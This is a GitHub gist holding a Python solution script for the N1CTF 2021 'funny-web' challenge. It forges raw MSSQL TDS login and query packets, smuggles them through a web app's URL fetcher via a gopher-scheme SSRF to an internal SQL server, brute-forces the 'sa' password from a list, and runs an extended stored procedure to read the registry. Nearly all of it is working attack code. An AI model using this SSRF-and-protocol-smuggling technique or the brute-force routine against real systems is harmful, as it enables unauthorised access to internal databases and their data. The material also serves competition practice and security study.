Created
January 5, 2022 23:43
-
-
Save Arinerron/c7cde47acb9e7e7a3c31f7feee7211b0 to your computer and use it in GitHub Desktop.
N1CTF 2021 - funny-web
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
import impacket | |
from impacket import tds, structure | |
import struct, random, string, re, requests, io | |
PACKET_SIZE = 4096 #32763 | |
class Monkey(io.BytesIO): | |
def socketRecv(self, packet_size): | |
return self.read(packet_size) | |
def parse_reply(data): | |
monkey = Monkey(data) | |
tokens = tds.MSSQL.recvTDS(monkey, packetSize=PACKET_SIZE) | |
return tds.MSSQL.parseReply(monkey, tokens['Data']) | |
class CUSTOM_TDS_PRELOGIN(structure.Structure): | |
structure = ( | |
('VersionToken','>B=0'), | |
('VersionOffset','>H'), | |
('VersionLength','>H=len(self["Version"])'), | |
('EncryptionToken','>B=0x1'), | |
('EncryptionOffset','>H'), | |
('EncryptionLength','>H=1'), | |
('InstanceToken','>B=2'), | |
('InstanceOffset','>H'), | |
('InstanceLength','>H=len(self["Instance"])'), | |
('ThreadIDToken','>B=3'), | |
('ThreadIDOffset','>H'), | |
('ThreadIDLength','>H=4'), | |
('MARSToken','>B=4'), | |
('MARSOffset','>H'), | |
('MARSLength','>H=1'), | |
('EndToken','>B=0xff'), | |
('_Version','_-Version','self["VersionLength"]'), | |
('Version',':'), | |
('Encryption','B'), | |
('_Instance','_-Instance','self["InstanceLength"]-1'), | |
('Instance',':'), | |
('ThreadID',':'), | |
('MARS',':') | |
) | |
def getData(self): | |
self['VersionOffset']=21+4+1 | |
self['EncryptionOffset']=self['VersionOffset'] + len(self['Version']) | |
self['InstanceOffset']=self['EncryptionOffset'] + 1 | |
self['ThreadIDOffset']=self['InstanceOffset'] + len(self['Instance']) | |
self['MARSOffset']=self['ThreadIDOffset'] + len(self['ThreadID']) | |
return structure.Structure.getData(self) + b'\x00' | |
TDS_MARS_OFF = 0 | |
###### | |
def encrypt_password(password): | |
return bytes(bytearray([((x & 0x0f) << 4) + ((x & 0xf0) >> 4) ^ 0xa5 for x in bytearray(password)])) | |
PACKET_ID_I = 1 | |
def make_tds_packet(packet_type, data, end=True): | |
global PACKET_ID_I | |
p = tds.TDSPacket() | |
p['Type'] = packet_type | |
p['Status'] = (tds.TDS_STATUS_EOM if end else tds.TDS_STATUS_NORMAL) | |
#p['PacketID'] = PACKET_ID_I % 256 | |
p['PacketID'] = 1 | |
p['Data'] = data | |
p['Window'] = 0 | |
PACKET_ID_I += 1 | |
return p.getData() | |
def make_auth_packets(hostname, username, password, end=True): | |
prelogin = CUSTOM_TDS_PRELOGIN() | |
prelogin['Version'] = b"\x00\x00\x00\x01\x00\x01" | |
prelogin['Encryption'] = 2 # not available | |
prelogin['ThreadID'] = b'\x00\x00\x00\x00' | |
prelogin['Instance'] = b'\x00' | |
prelogin['MARS'] = TDS_MARS_OFF | |
#prelogin['ThreadID'] = struct.pack('<L',random.randint(0,65535)) | |
#prelogin['Instance'] = b'MSSQLServer\x00' | |
prelogin_packet = make_tds_packet(tds.TDS_PRE_LOGIN, prelogin.getData(), end=True) | |
login = tds.TDS_LOGIN() | |
login['HostName'] = (''.join([random.choice(string.ascii_letters) for i in range(8)])).encode('utf-16le') | |
login['AppName'] = (''.join([random.choice(string.ascii_letters) for i in range(8)])).encode('utf-16le') | |
login['ServerName'] = hostname.encode('utf-16le') | |
login['CltIntName'] = login['AppName'] | |
login['ClientPID'] = random.randint(0,1024) | |
login['PacketSize'] = PACKET_SIZE | |
login['OptionFlags2'] = 0 #tds.TDS_INIT_LANG_FATAL | tds.TDS_ODBC_ON | |
login['UserName'] = username.encode('utf-16le') | |
login['Password'] = encrypt_password(password.encode('utf-16le')) | |
login['SSPI'] = '' | |
login['Length'] = len(login.getData()) | |
login_packet = make_tds_packet(tds.TDS_LOGIN7, login.getData(), end=end) | |
return prelogin_packet + login_packet | |
#return login_packet | |
def make_query_packet(cmd): | |
query_packet = make_tds_packet(tds.TDS_SQL_BATCH, (cmd.replace('\n', '\r\n') + ';-- -').encode('utf-16le') + b'\x00\x00') | |
return query_packet[:-2] | |
REMOTE_HOST = 'http://1.13.194.226/' | |
HOST_PORT = ('10.11.22.13', '1433') | |
CURRENT_SESSION_ID = '' | |
session = requests.session() | |
if REMOTE_HOST: | |
print('Generating session...') | |
CURRENT_SESSION_ID = re.findall(r'<\/code>([\w-]+)<\/br>', session.get(REMOTE_HOST).text)[0] | |
print('- ' + CURRENT_SESSION_ID) | |
def generate_gopher_url(packet): | |
return '[f-h]opher://' + HOST_PORT[0] + ':' + HOST_PORT[1] + '/A' + urlencode(packet) + '{' + CURRENT_SESSION_ID + ',}' | |
def send_packets(packet): | |
data = generate_gopher_url(packet) | |
response = session.post(REMOTE_HOST, data={'url': data}).content | |
for line in response.split(b'--_curl_'): | |
if line.startswith(b'--gopher://') and CURRENT_SESSION_ID.encode() not in line: | |
response = line.split(urlencode(packet).encode() + b'\n')[1] | |
return response | |
return False | |
urlencode = lambda inp: ''.join('%'+hex(x)[2:].zfill(2) for x in inp) | |
def crack_password(): | |
with open('passwords.txt', 'r') as f: | |
passwords = f.read().strip().replace('\r', '').split('\n') | |
for password in passwords: | |
response = send_packets(make_auth_packets(HOST_PORT[0], 'sa', password)) | |
replies = parse_reply(response) | |
if tds.TDS_LOGINACK_TOKEN in replies: | |
return password | |
return False | |
USERNAME, PASSWORD = 'sa', '32367d71-af9b-4996-852f-f5566c13971a' | |
if __name__ == '__main__': | |
#response = send_packets(make_auth_packets(HOST_PORT[0], USERNAME, PASSWORD) + open('query.packet', 'rb').read()) | |
response = send_packets(make_auth_packets(HOST_PORT[0], USERNAME, PASSWORD) + make_query_packet(r"EXECUTE master.sys.xp_instance_regenumvalues 'HKEY_LOCAL_MACHINE', 'SOFTWARE\N1CTF2021';")) | |
import sys | |
sys.stdout.buffer.write(response) | |
sys.stdout.buffer.flush() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment